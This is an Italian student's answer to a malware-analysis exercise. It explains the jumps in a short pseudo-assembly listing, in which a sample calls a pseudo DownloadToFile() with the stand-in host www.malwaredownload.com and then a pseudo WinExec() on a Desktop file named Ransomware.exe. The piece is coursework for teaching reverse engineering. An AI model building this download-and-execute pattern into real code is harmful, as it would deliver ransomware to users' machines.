Settimana 11 - Esercizio 5

Alessio Golfetto, 01/03/2024

Traccia:

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- Spiegate, motivando, quale salto condizionale effettua il Malware.
- Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
- Quali sono le diverse funzionalità implementate all'interno del Malware?
- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- **Spiegate, motivando, quale salto condizionale effettua il Malware.**

Il malware effettua il salto condizionale alla memoria 00401068 in quanto *jz* (jumpzero effettua salto se risultato è zero) in quanto il precedente *cmp* da come risultato zero, comparando se il valore di ebx sia 11 (ed essendolo restituirà 0). Il salto alla memoria 0040105B non viene effettuato perché perché *cmp* da come risultato 0 però *jnz* effettua il salto se il risultato precedente differisce da 0.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- **Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.**

Locazione	Istruzione	Operandi	Note
401040	mov	EAX, 5	
401044	mov	EBX, 10	
401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
401064	cmp	EBX, 11	
401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi Note	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi Note	Note
0040FFAO	mov	EDX, EDI	EDI: C./Program and Settings (Local Userl Desktopl Ransomware.exe
0040FFA4	push	EDX	;.exe da eseguire
0040FFA8	call	WinExec	; pseudo funzione

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- **Quali sono le diverse funzionalità implementate all'interno del Malware?**

Le funzionalità implementate dal codice sono:

- *Downloder:* ottenere un malware tramite download da un URL

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

- L'esecuzione del malware che si è scaricato precedentemente, tramite la funzione *winexec*

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- **Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive**

Nella tabella 2 l'argomento è passato tramite la locazione *0040BBA4* con il comando *push* che rimanda all'url *www.malwaredownload.com*

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nella seconda istruzione call in tabella 3 l'argomento è passato sempre tramite comando *push* che indica il percorso dove si trova il malware da eseguire

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Fine